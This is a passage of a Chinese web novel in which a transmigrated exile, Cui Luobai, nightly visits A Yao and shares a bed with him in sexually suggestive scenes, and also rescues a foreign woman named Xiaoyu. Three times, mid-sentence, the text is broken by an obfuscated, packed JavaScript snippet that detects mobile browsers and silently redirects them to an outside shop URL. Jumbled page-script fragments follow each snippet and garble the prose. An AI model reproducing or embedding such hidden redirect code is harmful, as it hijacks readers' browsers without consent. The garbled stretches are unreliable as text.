“两盏?”阿遥微微挑眉,“是阿遥的身边人与你分享的?” “倒也不是,我与他们并不熟悉。”崔洛白道。 他从来没告诉过阿遥他的真实身份,阿遥也没有问过,两人就保持着这样的默契往来。 不过今日在十三皇子的帮助下,崔家人终于过上了正常人的生活,虽然依旧是罪犯,但没了韦德寿的威胁,全家至少暂时性命无忧,崔洛白心中松懈不少。 他与阿遥相处这么多日,能感觉得出来阿遥并不是什么坏人,此刻自然也不介意多透露一些。 崔洛白道:“是一位贵人拿出了一盏,然后他把这盏赠予了另一个同样拥有墨玉夜光杯的人,恰巧我在现场,有幸见证了两个夜光杯凑成了一对被放进宝库之中。” 他说着,将手上的两盏夜光杯小心翼翼地拿好,对阿遥笑道:“据说这墨玉夜光杯倒上酒之后,比空杯更美。那人将这夜光杯当做宝贝一样护着,别说盛酒了,碰都不让人碰一下,我当时就好奇,这价值连城的杯子拿来喝酒会是怎样的感觉,没想到这会儿托你的福,可以直接试试了。” “原来如此。”阿遥点了点头,看着崔洛白摆盘斟酒忙碌的背影,脸上露出了若有所思的神情。 洛白似乎不知道,这套墨玉夜光杯珍贵之处,不在其工艺,而在其原料。 该玉采自老坑玉矿的矿心深处,其墨色并非传统墨玉,而是籽料碧玉中的“聚墨”,其中透光的云水纹,才是碧玉原有的模样。 这是一块长得像墨玉的碧玉,既有墨玉的特性,又有碧玉的清透与油润,独一无二,世所罕见,连仿制都难。 前朝帝王嗜酒,得到此玉后,命能工巧匠将其雕成四盏墨玉夜光杯珍藏,经过数年流转,一盏为十三弟母家远亲江城宋家所有,剩余三盏存于国库之中,于三年前父皇当做奖励赏赐给了他。 去年,四皇子进他寝宫“玩闹”,打碎了其中一盏,如今这世间,能有此花纹的墨玉夜光杯,仅存三盏。 此时,两盏正被洛白拿在手中,另一盏在宋家手中。 可洛白却说,他白日刚见过两盏一模一样的墨玉夜光杯。 听他那意思,见到的似乎是宋家人。 今日在江城,有一位身份比宋家更加尊贵的人,给宋家送了一盏不存在的墨玉夜光杯? “阿遥?” 阿遥回过神来:“嗯?” 崔洛白指了一下一旁道:“锅里的汤……” 阿遥转头一看,眼看正在熬煮的汤快要溢出来,赶忙处理起来。 这锅阿胶乌鸡汤,看着不起眼,烹饪起来却费时费力,是他特意学来为洛白熬制的,可千万不能再失败了。 - 药膳的清香与乌鸡肉的醇香扑面而来,奶白色的汤底,阿胶党参黄芪桂圆等药材的上方,是炖煮得恰到好处的乌鸡,白汤乌肉间,还飘着几粒红色的枸杞。 崔洛白看着眼前炖好的肉,不得不承认自己怕是比想象中要略略馋一些。 原以为日日在阿遥这吃得过瘾又痛快,是因为流放途中饿肚子导致的。 但今日他不仅在宋宅饱餐一顿,晚上还跟着崔家人一同享用了热腾腾的晚饭,明明都已经吃得这么饱了,怎么这会儿看着阿遥给他准备的夜宵,竟然又饿了! 阿遥见他迟迟未动筷,询问道:“是否熬煮得仍不够火候?” “不是不是,是我闻着太香了,忍不住多闻了一会儿。”崔洛白说着,拿起汤匙,往碗里轻轻一舀。 汤清厚而不浑浊,鸡肉香甜,再混合着各种中药材的药香气,在这白雪皑皑的冬日,一边喝着鸡汤,一边手持夜光杯小酌几口,简直就是神仙日子。 吃饱喝足后,两人一同收拾好,洗漱完准备就寝。 当看到床上竟然有两床被褥时,阿遥一愣:“这是……” “我带来的~” 崔洛白等了一晚上,终于等到了这个时候,他邀功似地对阿遥道:“这段时间来,手头比较紧,每日都蹭着你的被褥,当真是不好意思。” “今日偶得这床冬被,我在睡前的时候,将被子紧紧地裹在身上,没想到真的成功带进来了。” “以后你一床,我一床,我们两个人都有被子盖,再也不用挤一起了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854416|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔洛白说着,坐到床边拍了拍被子对阿遥道:“来,你先选,你是要睡原本的那床,还是我新带来的这床?” 崔洛白说完,原以为阿遥会和他一样高兴,没想到等了几秒都没等到阿遥的答复。 他转头一看,便见阿遥站在一旁一动也没动。 由于他是背着光站着,崔洛白看不清他脸上的神情,正打算凑近一些看看的时候,便听阿遥低声略微有些委屈地道:“是否我那床被褥不合你心意,你才要带新的来……” “啊?当然不是了。”崔洛白没想到,向来和他十分有默契的阿遥,这次居然想岔了。 自打他和阿遥相逢一起睡开始,阿遥几乎日日都胀着。 原本崔洛白身子亏虚也就罢了,平日里他多给阿遥一些时间和空间缓缓,日子也能过得下去。 但最近日日进补之后,他也慢慢燥热起来。 尤其今晚又喝了阿胶乌鸡汤,他现在身体还火热热的,一会儿一躺下,两人一挨在一起,分分钟擦枪走火。 昨日那般场景经历过一回已经极为尴尬,条件允许的话,崔洛白自然希望两人互相不妨碍对方。 最重要的是,阿遥是个事事为他考虑的人。 明明是他打扰到了阿遥,结果却由阿遥主动向他提出,他要去睡床下打地铺。 崔洛白每每想起此事,那叫个又心疼又愧疚。 如今有了被子,两人又能一起睡,又互不影响,简直就是完美。 想到这,为了避免阿遥多想,崔洛白连忙解释起来,着重强调是为了不让阿遥打地铺,两个人能够一同睡在床上而特意带的。 “原来是这样啊。”阿遥沉默了片刻后,缓缓道,“还是洛白考虑周全。” 最终阿遥选择了崔洛白带来的那床冬被,崔洛白则自己往里头挪了挪,钻进藏羚羊衿褥中去。 习惯了和阿遥挤在一起,今天突然分被子单独一个人睡着,崔洛白还略微有些不大适应。 倒是阿遥,还是一如既往地快速入眠。 看他睡得如此香甜,崔洛白顿感困意袭来,打了打呵欠便也躺下睡觉。 床不大,两个男人睡本来就挤,现在还多了一床被子,平躺都不大够了 崔洛白习惯性地转过身,背对着阿遥入睡。 今夜倒是没有小蚂蚁骚扰,就是睡着睡着,隐约感觉后脑勺有点凉凉的,像是有人在背后盯着他一样。 他身后就是睡着的阿遥,肯定是他的错觉。 又或者是窗户没关紧,室内漏风了? 明天得和阿遥一起好好检查一下窗户,关好窗才行。 崔洛白这样迷迷糊糊地想着,很快便沉入了梦乡。 11. 第 11 章 第十一章:打结 十三皇子在江城休整两日后,启程出发前往下一站。 崔家人在客栈过了两日神仙日子,做好了迎着风雪启程步行赶路的准备,结果怎么也没想到,十三皇子大手一挥,竟然给他们购置了数量马车,允许他们乘车出行。 肥胖壮硕的小胖子摇着折扇,嘴上说的是嫌弃崔家人老的老小的小,一个个鹄面鸠形瘦不拉几的,几万一全死在路上麻烦,然而他行的却是大发慈悲的善举。 崔家上下无一不感激,崔母更是感动得落了半天泪,拉着崔洛白的手,劝说他既然现今有了如此才华,切莫辜负十三皇子这一番善意,将来一定要赋诗一首歌颂十三皇子善心。 崔洛白简直哭笑不得,心中倒是发自内心地感激十三皇子。 不论十三皇子出于何种目的来到江城做了这些事,他救了他们的性命,他就是崔家的救命恩人。 流放路上再也不用担心生命安全问题,崔洛白便也沉下心,好好研究一下他这个穿越积分,到底是怎么一回事。 一开始他以为这和生命值有关,专门挑选了一天的时间好吃好喝多多运动,保持充足睡眠,摄入足量饮食,然后在睡前观察,结果发现积分依然一动不动,维持在635。 第二天,崔洛白又换了个思路。 现在好像很流行攻略身边的人物,刷好感值什么的? 于是他又花了一天的时间,不仅和崔家人多多互动,甚至还找了个由头见了十三皇子,二人浅聊一番,联络联络感情。 没想到到了晚上,那积分竟依然纹丝未动。 不是身体数值,不是攻略值,也不是什么死亡倒计时,那还能是什么? 崔洛白百思不得其解,接下来几日,尝试了各个方向研究,竟始终一无所获。 625的数字顽强地伫立在那,没有半点提示,什么系统AI之类的,更是不见踪影。 直到他们到达阳城附近后,崔洛白无意间救下了一名异域女子,情况才发生了转变。 当时他们一行人在河边修整,崔洛白站在河边正想着积分的事呢,隐约间看到河面上似乎飘着一件衣服。 衣服随着流水摆动,然后缓缓露出一大团黑色的头发,紧接着一双手从水底下浮上来,苍白如纸,宛如死尸。 崔洛白吓了一大跳,第一时间上报给十三皇子的护卫。 护卫还以为水下有刺客,立刻召集起来朝河边涌去,原想乱箭射成筛子,还是在崔洛白的提醒下注意到似乎是一个溺水的人,便将其打捞了上来。 谁也没想到,溺水的竟然是一名容貌绝美的异域女子。 她被捞上岸不久悠悠转醒,第一眼见到的人便是崔洛白,后又听一旁的人说,是崔洛白发现了她,异域女子便将崔洛白当做救命恩人,紧紧抓着崔洛白的衣角,哭着求崔洛白收留她。 原来她是住在梁国与罗刹国交界处的百姓,两国交战边境的百姓流离失所,她因为长得貌美,被人贩子盯上,转了好几手被卖到了阳城。 购买她的主人是个暴戾的变态,喜欢收集貌美女子养在府中充当肉屏风美人纸,她因不肯屈从,在府中日日受虐,好不容易找了个机会逃出来,一失足竟差点淹死在湖里。 那购买她的主人在阳城具有极大的权势,她容貌迥异十分好辨认,既然活了下来,迟早会被抓回去。 如果崔洛白不肯收留她,与其回去受辱,不如再投一次湖死了算了。 女子虽然会说梁国官话,但夹带着点儿口音,一边哭一边说,崔洛白听得那叫个云里雾里。 他还没搞明白肉屏风美人纸是什么东西呢,一旁的崔家人个个脸色微变,连刚刚赶过来的十三皇子都皱起了眉头。 “既然如此,那你就留下吧。”十三皇子摇着折扇道。 说到底,崔家人到底还是流放罪臣,十三皇子才是整个队伍的最高话语权。 皇子都发话了,崔洛白根本没有拒绝的机会,于是崔家的队伍中,莫名其妙多了个人。 一直到晚上饭后,崔洛白才从崔母口中得知美人纸是什么东西。 前朝勋贵奢靡骄纵,寻常的奢华已经满足不了他们,因此想出了肉屏风美人纸等东西,竟是将活生生的人当做摆件、纸巾、痰盂来使用。 梁国建国后,圣祖明令禁止,京都勋贵再无此风气,怎么也没想到北寒偏远之地,反而有人大兴此事。 崔洛白听完,整个人都不好了,深深地庆幸自己是在饭后询问的,不然怕是要被恶心得连晚饭都吃不下。 与此同时,这异域女子也被带去洗漱换装。 听给她洗澡的崔家娘子说,这异域女子名叫小钰,乍一看上去身上没什么伤,实际上衣服底下那些常人看不到的地方,早就被打得皮开肉绽,惨不忍睹,可见下手之人多么阴毒。 在大家都十分同情小钰的时候,反倒是小钰确定自己能留下来,开心得不得了,主动挽起袖子积极干活,恨不得一个人顶三个人用,以此来证明自己的价值。 她长得好看,做事麻利,见谁都笑眯眯的,很快便融入了队伍中,连十三皇子都让护卫送了一瓶药过来,让她好好养伤。 更让崔洛白意外的是,晚上睡前他照例观察积分,竟然意外发现数字发生了变化。 积分:630 之前是625,现在是630,居然一下子多了5分。 崔洛白一愣,回忆了一下今日之事。 难道救人能涨积分? 他立刻来了精神,第二天聚精会神地盯着四周,恨不得再遇到个人给他救救。 然而这种事可遇不可求,哪是能天天遇到的。 崔洛白又换了个思路,以小钰之事为鉴,提醒大家远离河道,万一不小心落水了,千万别挣扎,可利用人体自带的特性缓缓改变姿势漂浮于水上。 又或者不小心偶遇落水的人,即使暂时没了气息也不要以为人死了,还是可以清理口鼻异物,利用心肺复苏再抢救一下的。 崔家人要么在京都当官,要么埋头苦读书,要么就是内宅妇孺,哪听过这些,个个都睁大眼睛新奇地看着崔洛白。 也有人疑惑崔洛白怎么会突然懂得这些。 不过这些疑问,都被崔思源一句话给打发回去了。 “兄长以前也不作诗,现在不也会了。先生常教导我们做人谦逊,韬光养晦切莫张扬,兄长向来不是个高调的性子,现在告诉我们这些,也是为了我们的性命考虑。”崔思源一本正经地说着,转头崇拜地看着崔洛白,“兄长博览群书才华横溢,我都听兄长的。” 年岁最小的崔思源都这样说了,旁的人自然也没什么异议,毕竟现在崔家的待遇,可都是崔洛白争取来的,可以说除了崔康远之外,现在整个崔家最得人心的就是崔洛白了。 崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854417|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛白传播这些急救常识的时候,并没有避着旁人,十三皇子的人听闻之后,也觉得新奇,不少人还来凑热闹和崔洛白聊了起来。 晚上崔洛白照例查看积分,惊喜地发现积分又涨了。 积分:633 比昨日又多了3分,这个办法有用! 又经过几日的尝试后,崔洛白终于确定,这个积分应该是一个类似于声望值这样的存在。 救人能涨,助人为乐能涨,传播知识能涨,不过每次都涨得很慢,都是个位数起伏。 他猜想他这六百多分的初始积分,最初应该源自于他在江城所作的诗句。 在十三皇子的帮助下,韦德寿的才名全部归功于崔洛白,由于涉及到窃诗舞弊等劲爆话题,传播速度极快,所以才能拿下六百多的高分。 虽然一直到现在也没有系统出现,他也不知道这个积分能拿来做什么的,但好歹摸清楚了积分的规则,崔洛白心中安定了不少。 连续数日熬夜到子时才入睡,崔洛白早就困得不行,今晚终于可以早早入睡好好补眠,只等着到了阿遥那再醒来吃顿夜宵。 也不知道阿遥今晚准备了什么好吃的。 近日他受高人指点,厨艺突飞猛进,药膳做的比常规煲汤还要好吃,勾的崔洛白那叫个日思夜想,馋得不行。 这样想着,崔洛白沉沉睡去。 也不知今夜是怎么回事,越睡他越觉得浑身发凉。 迷糊中,崔洛白还以为自己的被子掉了,转身卷了一下,没卷到被子,倒是碰到了个暖烘烘的大火炉。 他冷得牙齿都快打颤了,一碰到这大火炉便本能地抱了上去,触感温热细腻,还带着一点弹性,崔洛白顿时舒服了,窝着对方继续香甜地睡着。 直到他感觉有一个东西,再不断磨蹭他的小腹。 碰一下,又撤开。 又贴了一下,不到两秒又一次撤开。 从小腹开始,一会儿往上,一会儿往下,有的时候甚至还顶了他一下,引得他全身发颤。 崔洛白到底是个健全男人,这种地方哪受得了这样的撩拨。 他喘着气睁开眼,映入眼帘的竟然是男人的胸膛。 崔洛白一愣,还没反应过来是怎么一回事,紧接着又被人给揉了一下,他低头一看,便看到阿遥敞着衣襟,双手在下面动来动去。 原来一直碰他的人竟然是阿遥。 崔洛白瞪大眼睛,惊道:“阿遥,你在做什么?” 他突然开口,阿遥似乎被吓了一跳,有些慌乱地抬头看向崔洛白。 崔洛白这才发现,他耳朵上的红晕一路蔓延到脖颈,额头和颈间青筋微跳,那双小兽一样的眼睛,此刻湿漉漉的,又泛着点儿红血丝,看起来又可怜,又危险,糅杂出了一种说不清道不明的危险气质。 “洛白……”阿遥声音沙哑地道,“打结了……” “什么打结?” “头发,衣服,缠在一起了。”阿遥喑哑地道。 崔洛白定睛一看,这才想起两人虽然离得很近,但身体和身体之间,其实是隔着衣服的。 此时正是这衣服的衣摆,与他们两人的头发混在了一块,不知怎么地打成了个死结。 一拉衣服,头发便被扯得生疼。 一扯头发,衣服上的结又绑得更紧。 这才导致两个人贴在一块儿,根本分不开。 12. 第 12 章 第十二章:咬开 “这是什么情况。”崔洛白看着此情此景,整个人都不好了。 刚刚一直在睡着就罢了,这会儿醒着,眼看着阿遥和他紧贴在一块儿,视觉上的冲击与身体的触感重叠,他浑身不受控制燥热起来。 “抱歉,都怪我,不知怎么睡的,就变成这样了……”阿遥红着眼睛微微喘着气,哑声愧疚地道。 崔洛白看着两人盖着的被褥,突然反应过来,他们居然又同盖一床被褥了。 那他自己的那床被子呢? 他艰难扭头一看,发现不知不觉中,他的被子已经落到了地面上。 也就是说,他穿过来的时候,还是裹着自己的被子的,不知怎么睡的,居然舍弃了自己的被子,钻进了阿遥的被褥中,才导致这一系列事情发生。 “不怪你,是我的问题。”崔洛白道,说着说着,嘴唇还不小心碰了阿遥的鼻尖一下。 阿遥脸一红,有些窘迫地往后一缩。 偏生两人衣服下面绑在一起,他往后退,自然连带上了崔洛白。 他那身体硬件条件,崔洛白哪里受得住,赶紧手忙脚乱地跟着阿遥一起调整姿势。 两人面对面实在是没法交流,距离太近了,分分钟就能亲上去。 无奈之下,崔洛白只好低下头,微微侧着脸和阿遥说话。 只是如此一来,便导致阿遥的呼吸直接落在他的耳朵上。 崔洛白从来不知道自己的耳朵竟然这么敏感。 阿遥一呼吸,他浑身都不自觉紧绷着,当他呼出的气息落在他的耳朵尖上,那股热意从耳朵尖一路往下,像是要将他的全身点燃。 崔洛白只觉得浑身一酥,全身上下竟是起了一层薄薄的汗意。 轻薄的衣服黏在身上,一旁就是阿遥的身躯,崔洛白甚至能感觉到他肌肉的线条弧度。 少年人正是最蓬勃有力的时候,阿遥又是习武之人,那样挨着他,崔洛白简直有种快要被他融化的错觉。 偏生这时,阿遥竟又将手往下伸,尝试解了起来。 他长得好看,连手指的指骨都如玉做的一般,却不是一双巧手。 在那折腾了半晌,不仅结没有解开半分,反而时不时碰到崔洛白的敏感点。 有次崔洛白猝不及防被他的指尖点了一下,差点没叫出来,他赶紧咬住嘴唇忍着,然后暗中尝试调整一下动作,尽量避开阿遥的手。 好不容易找了个稍微可以躲开的角度,崔洛白才舒一口气,准备看看阿遥的进度如何。 却见阿遥动作猛地一顿,然后低着头闷声道:“要不,换你来试试?” “好吧。”崔洛白道。 其实他看阿遥解了好久都没解开,早就想要尝试了,见阿遥放开手,崔洛白立刻将双手往下探去。 这不探还好,往下一伸,崔洛白这才意识到,原来他找好的角度,竟然是抵在阿遥上的。 好在还隔着衣服…… 崔洛白这样想着,努力忽视衣服的轻薄,假装不在意地又调整了一下姿势,直到确定两人没有挨在一块儿后,他才摸向那个结。 原本他还奇怪,怎么衣服和头发能够纠缠在一块儿绑得这么死,上手一摸才明白,这问题还是出在他身上。 他的衣摆破了。 破损的衣角流苏一样与阿遥的衣摆缠在了一处,两人因为挨得近的缘故,头发也被卷了进去,这才导致无法松绑。 此时崔洛白浑身燥热得不行,手心手指上都是汗,湿濡黏腻地扯着那死结,不仅没打开,反而摇晃间,还不断地碰到阿遥。 第一次第二次就算了,第三次又贴了一下,感觉阿遥浑身都在紧绷着,崔洛白自己都不好意思了。 他突然想起什么,连忙对阿遥道:“对了,你床头有没有剪子小刀之类的东西,我们直接把这个结剪了吧。” “没有。”阿遥哑声道,“不过,有一个法子可以试试。” “什么办法?” “我把它咬开。”阿遥道。 崔洛白:“这……办不到吧……” 两人贴得这么近,连挪动都难,怎么可能有余地让阿遥俯下身去咬。 “这个死结我刚解开了一些,但没办法解全,如果彻底放弃解开它,可以把它绑得更紧一些,腾出一些余量的空间。”阿遥道,“然后我转下去,身子横对着你,俯下身就行了。” 崔洛白脑补了一下那个画面,整个人都不好了。 这和小电影里的高难度动作有什么区别? “不行。”崔洛白拒绝道。 这回形针动作太惹人遐想了,搞完高难度动作之后,阿遥还要低下头咬那个结。 他怕自己吃不消,万一露了丑态,以后没脸见人了。 “好。”阿遥被他直言拒绝,倒也不恼,伸手往下继续触碰那个结,耐心地道,“那我再解开这个试试。” 两盏茶后,浑身通红的崔洛白咬牙道:“要不,还是咬开吧。” 再这样解下去,他也要受不了的。 长痛不如短痛,还不如尽快咬开早点解决了完事! …… 一刻钟后,崔洛白率先起身。 他这次没有第一时间直奔食物,而是埋头朝浴桶方向走去。 阿遥随后起身,开始准备二人的夜宵。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854418|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到摆盘完毕,汤都有些凉了,崔洛白才走出来坐在阿遥的对面。 阿遥看了崔洛白一眼,他低头垂眸,阿遥只看得到他通红的耳尖,别的什么也看不清。 崔洛白不说话,阿遥一时之间也不知道该说什么,两人罕见地在沉默中吃完夜宵,直到开始收拾了依然是各做各的事。 阿遥忍不住打破沉默道:“洛白,你生气了吗?” “没有。” “我刚刚不是故意的。”阿遥小心翼翼观察着他的神情,“距离太近了,手要支撑身体腾不出来,我以为那是结,才唇舌并用勾过来的,没想到不小心弄错了……” 崔洛白脸色一僵,察觉阿遥在看着他,崔洛白立刻撇过脸,努力维持正常的声音道:“我知道。” 又是一阵沉默。 阿遥想要看看崔洛白是什么表情,偏偏崔洛白撇过头就是不看他。 阿遥只好有些委屈又可怜地看着他,道:“洛白,你之前和我说,男人的身体构造导致,稍微触碰一下就会有生理反应,是很正常的,并不能代表什么,让我不需要因为这个事情而觉得羞耻。” 崔洛白闻言,深吸一口气,努力平复自己的心情。 是的,他是和阿遥说过这些话。 这些话不仅仅是安慰,也是现代学生生理课上都会学到的常识,崔洛白自己也一直都是这样贯彻的。 但问题是,今天这事,没这么简单啊! 要是只有有反应,那很正常,不止是他,阿遥也有,两个都是大男人,那种情况下无法自控,是难以避免的。 可是他千算万算也想不到,自己忍了那么久,竟然在阿遥低下头的时候功亏一篑。 从醒来开始,崔洛白就在蓄势待发的状态,前后折腾了大半个时辰,本就已经到了极限。 阿遥一附身低头,呼吸落在他的腹部。 眼看着他搞错了,崔洛白连阻止都来不及,只觉得眼前一片模糊,竟然就这么…… 这种事,委实也太尴尬了! 当然,他心里也清楚,这件事问题在他。 阿遥已经做得够好了。 这样想着,崔洛白深呼吸几下,努力调整了一下面部表情:“没想到你还记得我之前说的话。” 他转头对阿遥笑道:“放心吧,我没放在心上。” “当真?”阿遥抬眸看他。 崔洛白点了点头,努力让自己看起来又平静又理性。 阿遥显然不信,眼巴巴地看着崔洛白,像一只亦步亦随的大狗狗。 崔洛白实在拿他没办法,他想了想,伸出手摸了摸阿遥的头。 嗯,手感还是不错的。 13. 第 13 章 第十三章:发带 发生这么尴尬的事,责任不在阿遥,崔洛白只能怪自己准备不充分。 衣摆破了,就想办法换一件新的寝衣。 晚上睡觉踢被子,那就卷着被子睡,强行纠正睡姿。 或者干脆穿厚一点,即使冷了也不会钻阿遥的被窝,免得两人都为难。 对了还有头发,得想个办法把头发绑好,既不影响睡眠,又不会再缠绕在衣服上。 崔洛白在现代短发了二十多年,从小到大从来没留过这么长的头发。 刚穿来那几天,他甚至连束发都不会。 好在那会儿大家都是阶下囚,手脚脖子都戴着枷锁镣铐,弄不好头发是正常的。 等韦德寿把他的镣铐拆除后,崔洛白已经学会简单的束发手法,甚至还主动帮崔家那些身戴枷锁的人梳头。 目前他只会梳一种发型,睡觉的发型肯定和醒着的时候不大一样,崔洛白找了个时间去见崔母,刚想拜托母亲传授他新发型,正巧赶上小钰喂完马过来。 “来来来,小钰,来这边。”崔母招呼小钰道。 “夫人,怎么了?”小钰快步跑过来,站到崔母和崔洛白面前。 崔洛白有些惊讶地看了她一眼。 他救她那天,小钰又是溺水又是身上带伤的,看起来瘦瘦小小,没有想到现在养好伤后,居然还……挺高? 崔洛白身高一米八三,小钰竟然和他差不多高了。 女性这个身高,即使放在现代都是偏高的,更别提古代了。 不过小钰明显混了异域血统,五官立体,皮肤是白种人那种白,发色与瞳色都很浅,接近浅棕色,骨骼也比梁国女子要粗壮不少,整个人站在那十分高挑。 从背影上看,她有点儿像男人,不过一看到正面,就不会有人这样想了。 她五官艳丽,充满了异域风情,虽然长得高,但并不怪异,反而漂亮得十分醒目出众。 “都说了,我现在已经不是什么官家夫人了,你叫我崔婶就行。”崔母笑道。 小钰看了看崔洛白:“崔少爷是我的救命恩人,您是少爷的母亲,就也是我的救命恩人,我叫您夫人是应该的。” 崔母被小钰几句话哄得心花怒放,乐呵呵地拉着小钰聊了好一会儿,才对崔洛白道:“我的手艺比起小钰来,那可差远了,你想要拜师,可得找她了。” 小钰疑惑地看向崔洛白。 崔洛白将自己的需求说了出来,他想要学一个睡觉时能扎着的发型,既要体面,还要好学。 “少爷是否觉得睡醒后束发麻烦,若是不嫌弃的话,我可以每天替您束发。”小钰道。 “不用不用,我就是觉得睡觉的时候压着头发不太舒服。”崔洛白道,“你我萍水相逢,也是缘分,不如像朋友一样,你叫我洛白,我叫你小钰,可以吗?” 小钰有些害羞地低下头,好一会儿才小声道:“可以。” 她了解崔洛白的需求之后,给了崔洛白两个建议。 要么就是像束发一样扎起来盘于头顶,相较白日那般规整,晚上的发型可以松散许多,这样不会碍事,第二天束发也方便快捷。 又或者借助发带,将头发简单束好,放置于身侧,就不会散开了。 崔洛白想了想,感觉第二种舒适一些。 他没有这种发带,倒是小钰这些天制作了几个,用完晚膳后,她带着束带来找崔洛白,手把手教崔洛白怎么使用。 他们还在前往阳城的路上,晚上除了十三皇子身边有人手持火把照明之外,后面的人身边都没有火光。 恰逢今夜无风无雨,月色皎洁明亮,映在雪上反光后,四周都亮堂堂的,只比白日要略略昏暗一些。 小钰借着月光告诉崔洛白发带的使用方式,还亲自上手示范几次。 她是女子,崔洛白自然不能试她的头发,因此崔洛白的头发成了两人示范和实验的对象。 修长的纤纤玉指穿过发丝,一缕一缕轻轻梳理整齐。 崔洛白的头发不是很粗,但胜在发质柔顺,一点枯黄分叉都没有,清冷的月色下,犹如黑色的丝绸一样。 小钰爱不释手地将崔洛白的头发拂于掌心,轻声感叹:“青丝绾作云千缕,银钩不钓玉掻头。” 她声音很小,崔洛白没听清她在说什么,不过隐约间感觉像是诗句,有些惊讶地转头看她。 小钰顿时回过神来,解释道:“一时感概,在洛白面前献丑了。” “你会作诗?”崔洛白有些意外。 他记得她一开始连梁国官话都说得不清不楚的,这些天和大家相处,虽然口齿清晰了不少,但依然带着点儿口音。 她平日里在队伍中经常帮大家干粗活,也从来没展露过什么才华。 崔洛白虽然没和小钰交流过,心中便默认了她来自边境游牧民族,那边的成长环境和风俗与梁国不同,说话不标准没上过学也是正常的,怎么也没想到她居然还会这个。 小钰眼神闪烁了一下,见崔洛白一直在看着自己,她只好道:“之前在赵府的时候,和我一起被困的人里,有些是拐卖过来的。我的梁国官话是她们教的,从她们那儿,我也听说过关于洛白的事。” 她看着崔洛白,认真道:“你有这样的才华,不应该遭这样的罪。我若是大梁皇帝,一定赦免崔家,重用崔家。” 崔洛白没想到,他们一行人都还没到阳城,江城中发生的事,竟然已经这么快向四周的城市传开了。 听到小钰的话,崔洛白顿时哭笑不得。 虽然他内心也赞同崔家人不应该遭受如此无妄之灾,不过他们现在毕竟身处于梁国中。 小钰身为平民百姓说这话,崔洛白明白她是好心,但若是被有心人听到,那可就麻烦了。 崔洛白连忙道:“你的好意我心领了,不过这种话以后可千万别说了。还有,我也没有你们想象那么好,其实我没读几本书,那几首诗吧,也是逼不得已的情况下,才勉强写出来的……” “我听说,韦德寿这个恶贼,还偷了你好多好多的诗,现在都一一招供出来了。‘溪柴火软蛮毡暖,我与狸奴不出门’,我最喜欢这个,原来洛白和我一样,也喜欢狸奴。”小钰眼睛亮晶晶地道。 她要是说别的,崔洛白也没什么讨论的兴致,但是狸奴嘛…… 崔洛白点了点头:“狸奴可爱,尤其是冬天的时候,毛茸茸胖乎乎的。” “在我的家乡那边,经常有比狸奴更大一些的猫儿出没。我之前就收养了一只,是从山上捡的,它的体型比狸奴要大上一些,耳朵尖尖的。”小钰比划着形容起来,“像是扎了两根小辫子。” 崔洛白惊讶:“狞猫?” “原来这叫狞猫吗,我们那叫黑耳朵猫。”小钰道。 这种国家级保护动物,又是比较危险的猫科动物,崔洛白哪见身边人养过,没想到小钰竟然有这样的经历。 崔洛白立刻来了精神,两人你一言我一句,聊了许久都停不下来。 直到四周人都睡了,崔洛白担心打扰到旁人,才意犹未尽地与小钰暂停话题。 小钰看了看眼前的发带:“光顾着聊天了,还没教你怎么用呢,那今晚我先给你扎好,明天再继续?” 崔洛白点了点头。 送走小钰后,他见时间也不早了,索性清醒地等待穿越时间。 子时一到,崔洛白的眼前首先出现一行字。 积分:862 崔洛白自从搞清楚积分是怎么涨的之后,就再也没熬夜观察过了,时隔多日再看,没想到居然涨了两百多分。 这段时间他没做什么特别的事,想来大部分积分还是那些诗词给他带来的。 不仅是之前传出去的诗词,还有韦德寿招供之后新出的诗,可能又风靡了一波,才有现在这样的数值。 可惜不知道这积分能拿来做什么,否则只是作诗就能涨积分,倒是不难。 不对,基础数值是六百多,第二次传出诗句后,才给了两百多分,也就是说,伴随着他的声名传播开来,诗句给他带来的积分只会越来越少,想要得到高积分,还得从别的方面入手才行。 光看着数字,没见任何好处,崔洛白也没什么动力,暂且将这事放到了一遍。 伴随着眼前场景变化,崔洛白又来到了阿遥身边。 令崔洛白有些意外的是,阿遥居然也没睡。 看到崔洛白出现,阿遥先是一喜,紧接着注意到今晚的崔洛白,和平时似乎有些不大一样。 他先看了崔洛白的新寝衣一眼,最终目光停留在了崔洛白的头发上。 “上一件衣服破了,我就换了一套。”崔洛白道,“头发太长容易打结,就用发带绕一下扎起来,这样就不碍事了。” “还是洛白细心,我都没想到这些。”阿遥说着,又看了眼那发带,“可否也帮我扎一下,以免我的头发不听话给洛白添麻烦。” “我现在还没学会。”崔洛白道,“等我学会之后再帮你吧。” 阿遥微微挑眉。 不是洛白自己扎的,是别人帮他扎的头发。 